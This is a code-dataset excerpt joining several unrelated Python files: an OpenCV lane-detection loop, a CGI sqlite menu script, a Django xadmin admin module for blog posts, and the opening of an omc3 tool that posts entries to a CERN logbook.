(np.argmax(conv[x_rightMin:x_rightMax]) > 0):\n r_center = np.argmax(conv[x_rightMin:x_rightMax])+int(x_rightMin-window_width/2)\n tempr = np.argmax(conv[x_rightMin:x_rightMax])\n else:\n r_center = tempr + int(x_rightMin-window_width/2)\n # continue\n\n\n y_min = h - (win+1)*window_height\n y_max = h - (win)*window_height\n\n\n cv2.rectangle(out,(int(l_center),y_min),(int(l_center+window_width),y_max),(0,255,255),2)\n cv2.rectangle(out,(int(r_center),y_min),(int(r_center+window_width),y_max),(255,0,255),2)\n\n left_windows.append(l_center)\n right_windows.append(r_center)\n # left_inds=[]\n left_inds = left_windows#np.average(left_windows[-15:],axis=0)\n # right_inds=[]\n right_inds = right_windows#np.average(right_windows[-15:],axis=0)\n\n return out,left_inds,right_inds#,templ,tempr\n\nK = np.array([[ 1.15422732e+03,0.00000000e+00,6.71627794e+02],\n [ 0.00000000e+00,1.14818221e+03,3.86046312e+02],\n [ 0.00000000e+00,0.00000000e+00,1.00000000e+00]])\ndist = np.array([ -2.42565104e-01,-4.77893070e-02, -1.31388084e-03, -8.79107779e-05,\n 2.20573263e-02])\ndef window_mask(width, height, img_ref, center, level):\n output = np.zeros_like(img_ref)\n output[int(img_ref.shape[0]-(level+1)*height):int(img_ref.shape[0]-level*height), max(0,int(center-width)):min(int(center+width),img_ref.shape[1])] = 1\n return output\ndef adjust_gamma(image, gamma=1.0):\n\t# build a lookup table mapping the pixel values [0, 255] to\n\t# their adjusted gamma values\n lookUpTable = np.empty((1,256), np.uint8)\n for i in range(256):\n lookUpTable[0,i] = np.clip(pow(i / 255.0, gamma) * 255.0, 0, 255)\n res = cv2.LUT(image, lookUpTable)\n return res\ndef preprocessing(frame):\n th = np.median(frame[int(frame.shape[0]/2):,:,:])\n# frame = adjust_gamma(frame,gamma=1.5)\n# undist = cv2.undistort(frame,K,dist)\n# blur = cv2.bilateralFilter(undist,9,75,75)\n# median = cv2.medianBlur(blur,5)\n\n\n# gray = cv2.cvtColor(median, cv2.COLOR_BGR2HLS)\n# s_channel = gray[:,:,2]\n# l_channel = gray[:,:,1]\n\n #Create mask for S Channel\n if th<60:\n s_channel = adjust_gamma(frame,gamma=25.0)\n undist = cv2.undistort(frame,K,dist)\n blur = cv2.bilateralFilter(undist,9,75,75)\n median = cv2.medianBlur(blur,5)\n\n\n gray = cv2.cvtColor(median, cv2.COLOR_RGB2LAB)\n s_channel = gray[:,:,2]\n s_channel = cv2.Sobel(s_channel,cv2.CV_64F,1,0)\n s_channel = np.absolute(s_channel)\n s_channel = np.uint8(255*s_channel/np.max(s_channel))\n l_channel = gray[:,:,0]\n s_min = 40\n s_max = 250\n\n l_min = 170\n l_max = 255\n\n mask1 = np.zeros([s_channel.shape[0],s_channel.shape[1]])\n mask1[(s_channel>=s_min)&(s_channel<=s_max)]=1\n\n mask2 = np.zeros([l_channel.shape[0],l_channel.shape[1]])\n mask2[(l_channel>=l_min)&(l_channel<=l_max)]=1\n\n elif th>130:\n s_channel = adjust_gamma(frame,gamma=1)\n undist = cv2.undistort(frame,K,dist)\n blur = cv2.bilateralFilter(undist,9,75,75)\n median = cv2.medianBlur(blur,5)\n\n\n gray = cv2.cvtColor(median, cv2.COLOR_BGR2LAB)\n s_channel = gray[:,:,2]\n s_channel = gray[:,:,2]\n s_channel = cv2.Sobel(s_channel,cv2.CV_64F,1,0)\n s_channel = np.absolute(s_channel)\n s_channel = np.uint8(255*s_channel/np.max(s_channel))\n l_channel = gray[:,:,0]\n s_min = 20\n s_max = 250\n\n l_min = 220\n l_max = 255\n\n mask1 = np.zeros([s_channel.shape[0],s_channel.shape[1]])\n mask1[(s_channel>=s_min)&(s_channel[1]<=s_max)]=1\n\n\n mask2 = np.zeros([l_channel.shape[0],l_channel.shape[1]])\n mask2[(l_channel>=l_min)&(l_channel<=l_max)]=1\n else:\n s_channel = adjust_gamma(frame,gamma=1.5)\n undist = cv2.undistort(frame,K,dist)\n blur = cv2.bilateralFilter(undist,9,75,75)\n median = cv2.medianBlur(blur,5)\n\n\n gray = cv2.cvtColor(median, cv2.COLOR_BGR2LAB)\n s_channel = gray[:,:,2]\n s_channel = cv2.Sobel(s_channel,cv2.CV_64F,1,0)\n s_channel = np.absolute(s_channel)\n s_channel = np.uint8(255*s_channel/np.max(s_channel))\n # s_channel = cv2.Canny(s_channel,10,300)\n l_channel = gray[:,:,0]\n s_min = 25\n s_max = 250\n\n l_min = 190\n l_max = 255\n\n mask1 = np.zeros([s_channel.shape[0],s_channel.shape[1]])\n mask1[(s_channel>=s_min)&(s_channel[1]<=s_max)]=1\n\n mask2 = np.zeros([l_channel.shape[0],l_channel.shape[1]])\n mask2[(l_channel>=l_min)&(l_channel<=l_max)]=1\n\n combined = np.zeros([frame.shape[0],frame.shape[1]])\n combined[(mask1==1)|(mask2==1)]=1\n mask = np.uint8(255*combined/np.max(combined))\n# mask = cv2.inRange(median,np.array([0,190,80]),np.array([255,255,150]))\n seg = cv2.bitwise_and(frame,median,mask=mask)\n return seg,combined,th\n\n\nwhile(True):\n ret,frame = cap.read()\n\n seg,combined,th = preprocessing(frame)\n #Extract the region of interest and warp to get bird's eye view\n h = frame.shape[0]\n w = frame.shape[1]\n# src = np.float32([[w-(0.5-0.08/2),h*0.62],[w*(0.5+0.08/2),h*0.62],[w*(0.5+0.76/2),h*0.935],[w*(0.5-0.76/2),h*0.935]])\n# dst = np.array([[0,0],[400,0],[400,600],[0,400]])\n src = np.array([[375,480],[905,480],[1811,685],[-531,685]])#np.array([[375,480],[905,480],[1811,685],[-531,685]])#np.array([[600,500],[770,500],[1050,680],[350,680]])#\n# dst = np.float32([[w*0.25,0],[0.75*w,0],[0.75*w,h],[0.25*w,h]])\n# src = np.array([[580,450],[160,h],[1150,h],[740,450]])\n dst = np.array([[100,0],[w,0],[w,h-100],[100,h-100]])#np.array([[300,300],[500,300],[500,600],[300,600]])#\n H,flag = cv2.findHomography(src,dst)\n Hinv,flag = cv2.findHomography(dst,src)\n out= cv2.warpPerspective(seg,H,(w,h-100))\n out2 = cv2.Canny(seg,0,300)\n out3 = cv2.warpPerspective(out2,H,(w,h-100))\n out_gray = cv2.cvtColor(out,cv2.COLOR_BGR2GRAY)\n ret,thresh1 = cv2.threshold(out_gray,100,255,cv2.THRESH_BINARY)\n\n\n\n# font = cv2.FONT_HERSHEY_SIMPLEX\n# cv2.putText(out,str(th),(10,500), font, 4,(255,0,0),2,cv2.LINE_AA)\n# # cv2.putText(l_channel,str(th),(10,500), font, 4,(255,0,0),2,cv2.LINE_AA)\n# cv2.putText(combined,str(th),(10,500), font, 4,(255,0,0),2,cv2.LINE_AA)\n ###########################################\n\n\n# window_width = 20\n# window_height = 50\n# curve_centers = tracker(Mywindow_width=window_width, Mywindow_height=window_height, Mymargin = 25, My_ym = 10/720, My_xm = 4/384, Mysmooth_factor=15)\n# window_centroids = curve_centers.find_window_centroids(thresh1)\n# # Points used to draw all the left and right windows\n# l_points = np.zeros([thresh1.shape[0],thresh1.shape[1]])\n# r_points = np.zeros([thresh1.shape[0],thresh1.shape[1]])\n\n# # points used to find the right & left lanes\n# rightx = []\n# leftx = []\n\n# # Go through each level and draw the windows\n# for level in range(0,len(window_centroids)/2):\n# # Window_mask is a function to draw window areas\n# # Add center value found in frame to the list of lane points per left, right\n# leftx.append(window_centroids[level][0])\n# rightx.append(window_centroids[level][1])\n\n# l_mask = window_mask(window_width,window_height,thresh1,window_centroids[level][0],level)\n# r_mask = window_mask(window_width,window_height,thresh1,window_centroids[level][1],level)\n# # Add graphic points from window mask here to total pixels found\n# l_points[(l_points == 255) | ((l_mask == 1) ) ] = 255\n# r_points[(r_points == 255) | ((r_mask == 1) ) ] = 255\n\n# # Draw the results\n# template = np.array(r_points+l_points,np.uint8) # add both left and right window pixels together\n# zero_channel = np.zeros_like(template) # create a zero color channel\n# template = np.array(cv2.merge((zero_channel,template,zero_channel)),np.uint8) # make window pixels green\n# warpage = np.array(cv2.merge((thresh1,thresh1,thresh1)),np.uint8) # making the original road pixels 3 color channels\n# result = cv2.addWeighted(warpage, 1, template, 0.5, 0.0) # overlay the original road image with window results\n result,leftx,rightx = window_centers(thresh1,out,window_width=50,window_height=10,margin=25,dst=dst)\n\n # print(rightx)\n window_height = 20\n window_width=50\n res_yvals = np.int32(thresh1.shape[0]-np.arange(len(leftx))*window_height)\n\n # left_lane = np.hstack\n\n # p = np.polyfit()\n yvals = np.arange(0,thresh1.shape[0])\n # print(yvals)\n\n degree = 2\n print('l',leftx)\n print('r',rightx)\n left_fit = np.polyfit(res_yvals, leftx, degree)\n left_fitx = np.zeros(yvals.shape)\n for i in range(degree+1):\n left_fitx = left_fitx + left_fit[i]*(np.power(yvals,(degree-i)))\n left_fitx = np.array(left_fitx,np.int32)\n\n right_fit = np.polyfit(res_yvals, rightx, degree)\n right_fitx = np.zeros(yvals.shape)\n for i in range(degree+1):\n right_fitx = right_fitx + right_fit[i]*(np.power(yvals,(degree-i)))\n right_fitx = np.array(right_fitx,np.int32)\n\n left_lane = np.array(list(zip(np.concatenate((left_fitx-window_width/2, left_fitx[::-1]+window_width/2),axis=0),np.concatenate((yvals,yvals[::-1]),axis=0))),np.int32)\n right_lane = np.array(list(zip(np.concatenate((right_fitx-window_width/2, right_fitx[::-1]+window_width/2),axis=0),np.concatenate((yvals,yvals[::-1]),axis=0))),np.int32)\n\n road = np.zeros_like(frame)\n road_bkg = np.zeros_like(frame)\n cv2.fillPoly(road,[left_lane],color=[255,0,0])\n cv2.fillPoly(road,[right_lane],color=[0,0,255])\n cv2.fillPoly(road_bkg,[left_lane],color=[255,255,255])\n cv2.fillPoly(road_bkg,[right_lane],color=[255,255,255])\n\n img_size = (frame.shape[1],frame.shape[0])\n\n road_warped = cv2.warpPerspective(road,Hinv,img_size,flags=cv2.INTER_LINEAR)\n road_warped_bkg= cv2.warpPerspective(road_bkg,Hinv,img_size,flags=cv2.INTER_LINEAR)\n\n base = cv2.addWeighted(frame,1.0,road_warped, -1.0, 0.0)\n result2 = cv2.addWeighted(base,1.0,road_warped, 1.0, 0.0)\n\n ym_per_pix = 10/720\n xm_per_pix = 4/384\n\n curve_fit_cr = np.polyfit(np.array(res_yvals,np.float32)*ym_per_pix,np.array(leftx,np.float32)*xm_per_pix,2)\n curverad = ((1 + (2*curve_fit_cr[0]*yvals[-1]*ym_per_pix + curve_fit_cr[1])**2)**1.5) /np.absolute(2*curve_fit_cr[0])#curverad = ((1 + (2*left_fit[0]*yvals[-1] + left_fit[1])**2)**1.5) /np.absolute(2*left_fit[0])\n\n # Calculate the offset of the car on the road\n camera_center = (left_fitx[-1] + right_fitx[-1])/2\n center_diff = (camera_center-out.shape[1]/2)*xm_per_pix\n side_pos = 'left'\n if center_diff <= 0:\n side_pos = 'right'\n print(curverad)\n\n # Visualize the results of identified lane lines and overlapping them on to the original undistorted image\n # plt.figure(figsize = (30,20))\n # grid = gridspec.GridSpec(8,2)\n # # set the spacing between axes.\n # grid.update(wspace=0.05, hspace=0.05)\n # gidx=0\n # #img_plt = plt.subplot(grid[0])\n # plt.subplot(grid[gidx])\n cv2.imshow('road',out3)\n # plt.title('Identified lane lines')\n\n #img_plt = plt.subplot(grid[1])\n # plt.subplot(grid[gidx+1])\n cv2.imshow('result',result)\n # plt.title('Lane lines overlapped on original image')\n\n # plt.show()\n\n cv2.imshow('s',result2)\n cv2.imshow('l',thresh1)\n# cv2.imshow('test',l_channel)\n# cv2.imshow('mask',mask)\n while(True):\n if cv2.waitKey(1)& 0xff==ord('q'):\n break\n if cv2.waitKey(1)& 0xff==ord('q'):\n cv2.destroyAllWindows()\n break\n", "sub_path": "Project2/photos.py", "file_name": "photos.py", "file_ext": "py", "file_size_in_byte": 13536, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.VideoCapture", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.convolve", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.LUT", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.undistort", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 116, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2LAB", "line_number": 119, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.absolute", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 134, "usage_type": "call"}, {"api_name": "cv2.undistort", "line_number": 139, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 140, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 141, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 144, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2LAB", "line_number": 144, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 147, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 147, "usage_type": "attribute"}, {"api_name": "numpy.absolute", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.undistort", "line_number": 165, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 166, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 170, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2LAB", "line_number": 170, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 172, "usage_type": "call"}, {"api_name": "cv2.CV_64F", "line_number": 172, "usage_type": "attribute"}, {"api_name": "numpy.absolute", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 209, "usage_type": "call"}, {"api_name": "cv2.findHomography", "line_number": 210, "usage_type": "call"}, {"api_name": "cv2.findHomography", "line_number": 211, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 212, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 213, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 214, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 215, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 215, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 216, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 216, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 278, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 278, "usage_type": "attribute"}, {"api_name": "numpy.polyfit", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 284, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 286, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 287, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 290, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 291, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 292, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 293, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 294, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 298, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 298, "usage_type": "attribute"}, {"api_name": "cv2.warpPerspective", "line_number": 299, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 299, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 301, "usage_type": "call"}, {"api_name": "cv2.addWeighted", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 307, "usage_type": "attribute"}, {"api_name": "numpy.absolute", "line_number": 308, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 326, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 331, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 336, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 337, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 341, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 343, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 344, "usage_type": "call"}]} {"seq_id": "651020783", "text": "from .company import *\nimport sqlite3\n\ndef main(q, selfurl):\n\tconn = sqlite3.connect('cgi-bin/st28/lab3.db')\n\tcur = conn.cursor()\n\tcur.execute('CREATE TABLE IF NOT EXISTS company (id INTEGER PRIMARY KEY AUTOINCREMENT, type TEXT, name TEXT, age INTEGER, salary INTEGER, programmingLanguages TEXT)')\n\n\tRSU = Company()\n\n\tMENU = [\n\t\t[\"Добавить\", RSU.add ],\n\t\t[\"Редактировать\", RSU.edit ],\n\t\t[\"Удалить\", RSU.delete ],\n\t\t[\"Вывести на экран список\", RSU.printCompany],\n\t\t[\"Сохранить\", RSU.save ],\n\t\t[\"Загрузить\", RSU.load ],\n\t\t[\"Импорт информации\", RSU.file_to_db],\n\t\t[\"Выйти\"]\n\t]\n\n\tprint(\"Content-type: text/html; charset=utf-8\\n\\n\")\n\tRSU.load(cur)\n\n\tif 'select' in q and int(q['select'].value) in range(len(MENU)):\n\t\tMENU[int(q['select'].value)][1](selfurl, q, cur)\n\telse:\n\t\tRSU.printCompany(selfurl, q, False, cur)\n\n\tconn.commit()\n\tconn.close()", "sub_path": "cgi-bin/st28/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 927, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlite3.connect", "line_number": 5, "usage_type": "call"}]} {"seq_id": "88905326", "text": "#!/usr/bin/env python\n# encoding: utf-8\n# vim: set et sw=4 ts=4 sts=4 fenc=utf-8\n# Author: YuanLin\n\nimport xadmin\nfrom django.core import urlresolvers\nfrom .models import Category, Org, Blog, Node\n\nfrom utils.markup import restructuredtext\n\nclass CategoryAdmin(object):\n search_fields = ('name', 'alias')\n list_display = ('name', 'rank', 'status', 'created')\n\nclass OrgAdmin(object):\n search_fields = ('name', 'alias')\n fields = ('name', 'alias', 'image')\n list_display = ('name', 'image')\n\nclass BlogAdmin(object):\n search_fields = ('title', 'alias')\n fields = ('title', 'desc', 'content', 'alias', 'image','status',\n 'category', 'is_top')\n list_display = ('preview', 'title','category', 'is_top', 'created')\n list_display_links = ('title', )\n\n ordering = ('-created', )\n list_per_page = 15\n save_on_top = True\n\n def preview(self, obj):\n url_edit = urlresolvers.reverse('xadmin:base_blog_change', args=(obj.id,))\n return u'''\n <span><a href=\"/blog/%s/%s.html\" target=\"_blank\">预览</a></span>\n <span><a href=\"%s\" target=\"_blank\">编辑</a></span>\n ''' % (obj.category, obj.alias, url_edit)\n preview.short_description = u'操作'\n preview.allow_tags = True\n\n def save_models(self):\n obj = self.new_obj\n obj.author = self.request.user\n if not obj.desc:\n obj.desc = obj.content\n if not obj.is_old:\n pass\n obj.content_html = restructuredtext(obj.content)\n else:\n obj.content_html = obj.content.replace('\\r\\n', '<br/>')\n import re\n obj.content_html = re.sub(r\"\\[cc lang='\\w+?'\\]\", '<pre>', obj.content_html)\n obj.content_html = obj.content_html.replace('[/cc]', '</pre>pre>')\n obj.save()\n\nclass NodeAdmin(object):\n search_fields = ('title', 'alias')\n fields = ('title', 'desc', 'image','content', 'alias', 'tags', 'status',\n 'org', 'is_top', 'start_time', 'end_time', 'location')\n list_display = ('preview', 'title', 'org', 'is_top', 'created',\n 'start_time', 'end_time', 'location')\n list_display_links = ('title', )\n\n ordering = ('-created', )\n list_per_page = 15\n save_on_top = True\n\n def preview(self, obj):\n url_edit = urlresolvers.reverse('xadmin:base_node_change', args=(obj.id,))\n return u'''\n <span><a href=\"/org/%s/%s.html\" target=\"_blank\">预览</a></span>\n <span><a href=\"%s\" target=\"_blank\">编辑</a></span>\n ''' % (obj.org, obj.alias, url_edit)\n preview.short_description = u'操作'\n preview.allow_tags = True\n\n def save_models(self):\n obj = self.new_obj\n obj.author = self.request.user\n if not obj.desc:\n obj.desc = obj.content\n if not obj.is_old:\n pass\n obj.content_html = restructuredtext(obj.content)\n else:\n obj.content_html = obj.content.replace('\\r\\n', '<br/>')\n import re\n obj.content_html = re.sub(r\"\\[cc lang='\\w+?'\\]\", '<pre>', obj.content_html)\n obj.content_html = obj.content_html.replace('[/cc]', '</pre>pre>')\n obj.save()\n\nxadmin.site.register(Blog, BlogAdmin)\nxadmin.site.register(Category, CategoryAdmin)\nxadmin.site.register(Org, OrgAdmin)\nxadmin.site.register(Node, NodeAdmin)\n", "sub_path": "qfscu/base/adminx.py", "file_name": "adminx.py", "file_ext": "py", "file_size_in_byte": 3379, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.core.urlresolvers.reverse", "line_number": 33, "usage_type": "call"}, {"api_name": "django.core.urlresolvers", "line_number": 33, "usage_type": "name"}, {"api_name": "utils.markup.restructuredtext", "line_number": 48, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 52, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 69, "usage_type": "call"}, {"api_name": "django.core.urlresolvers", "line_number": 69, "usage_type": "name"}, {"api_name": "utils.markup.restructuredtext", "line_number": 84, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 88, "usage_type": "call"}, {"api_name": "xadmin.site.register", "line_number": 92, "usage_type": "call"}, {"api_name": "models.Blog", "line_number": 92, "usage_type": "argument"}, {"api_name": "xadmin.site", "line_number": 92, "usage_type": "attribute"}, {"api_name": "xadmin.site.register", "line_number": 93, "usage_type": "call"}, {"api_name": "models.Category", "line_number": 93, "usage_type": "argument"}, {"api_name": "xadmin.site", "line_number": 93, "usage_type": "attribute"}, {"api_name": "xadmin.site.register", "line_number": 94, "usage_type": "call"}, {"api_name": "models.Org", "line_number": 94, "usage_type": "argument"}, {"api_name": "xadmin.site", "line_number": 94, "usage_type": "attribute"}, {"api_name": "xadmin.site.register", "line_number": 95, "usage_type": "call"}, {"api_name": "models.Node", "line_number": 95, "usage_type": "argument"}, {"api_name": "xadmin.site", "line_number": 95, "usage_type": "attribute"}]} {"seq_id": "491827956", "text": "\"\"\"\nCreate Logbook Entry\n--------------------\n\nSimple wrapper around pylogbook to create logbook entries via python\nfrom commandline.\n\n**Arguments:**\n\n*--Optional--*\n\n- **text** *(str)*:\n\n Text to be written into the new logbook entry.\n\n default: ````\n\n\n- **files** *(PathOrStr)*:\n\n Files to attach to the new logbook entry.\n\n\n- **filenames** *(OptionalStr)*:\n\n Filenames to be used with the given files. If omitted, the original\n filenames will be used.\n\n\n- **logbook** *(str)*:\n\n Name of the logbook to create the entry in.\n\n default: ``LHC_OMC``\n\n\n- **pdf2png**:\n\n Convert pdf files to png and also upload these.\n\n action: ``store_true``\n\n\n- **tags** *(str)*:\n\n Tags to be added to the event.\n\n\"\"\"\nimport mimetypes\nfrom pathlib import Path\nfrom typing import Iterable, Union, List\n\nimport urllib3\nfrom requests.exceptions import HTTPError, ConnectionError, ConnectTimeout\n\nfrom generic_parser import entrypoint, EntryPointParameters\nfrom omc3.utils.iotools import PathOrStr, OptionalStr\nfrom omc3.utils.logging_tools import get_logger\nfrom omc3.utils.mock import cern_network_import\nfrom omc3.utils.rbac import RBAC\npylogbook = cern_network_import(\"pylogbook\") # raises ImportError if used\n\n# for typing:\ntry:\n from pylogbook._attachment_builder import AttachmentBuilder, AttachmentBuilderType\n from pylogbook.models import Event\nexcept ImportError:\n AttachmentBuilderType, Event = type(None), type(None)\n AttachmentBuilder = None\n\n# disables unverified HTTPS warning for cern-host\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Possible errors during RBAC connection\nCONNECTION_ERRORS = (HTTPError, ConnectionError, ConnectTimeout, ImportError, RuntimeError)\n\nOMC_LOGBOOK = \"LHC_OMC\"\nPNG_DPI = 300 # dpi for converted png (from pdf)\n\nLOGGER = get_logger(__name__)\n\ndef get_params():\n return EntryPointParameters(\n logbook=dict(\n type=str,\n help=\"Name of the logbook to create the entry in.\",\n default=OMC_LOGBOOK,\n ),\n text=dict(\n type=str,\n help=\"Text to be written into the new logbook entry.\",\n default=\"\",\n ),\n files=dict(\n type=PathOrStr,\n nargs=\"+\",\n help=\"Files to attach to the new logbook entry.\",\n ),\n filenames=dict(\n type=OptionalStr,\n nargs=\"+\",\n help=(\n \"Filenames to be used with the given files. \"\n \"If omitted, the original filenames will be used.\"\n ),\n ),\n tags=dict(\n type=str,\n nargs=\"+\",\n help=\"Tags to be added to the event.\",\n ),\n pdf2png=dict(\n action=\"store_true\",\n help=\"Convert pdf files to png and also upload these.\"\n )\n )\n\n\n@entrypoint(get_params(), strict=True)\ndef main(opt) -> Event:\n \"\"\" Create a new entry in the logbook and attach the given files. \"\"\"\n # do attachments first as it also tests if files are there etc.\n attachments = _get_attachments(opt.files, opt.filenames, opt.pdf2png)\n\n # initialize logbook client\n rbac_token = _get_rbac_token()\n client = pylogbook.Client(rbac_token=rbac_token)\n logbook = pylogbook.ActivitiesClient(opt.logbook, client=client)\n\n # create event and upload attachments\n event = logbook.add_event(opt.text, tags=opt.tags or ())\n for attachment in attachments:\n event.attach_content(\n contents=attachment.contents,\n mime_type=attachment.mime_type,\n name=attachment.short_name,\n )\n return event\n\n\n# Private Functions ------------------------------------------------------------\n\ndef _get_rbac_token() -> str:\n \"\"\" Get an RBAC token, either by location or by Kerberos. \"\"\"\n rbac = RBAC(application=f\"omc3.{Path(__file__).stem}\")\n try:\n rbac.authenticate_location()\n except CONNECTION_ERRORS as e:\n 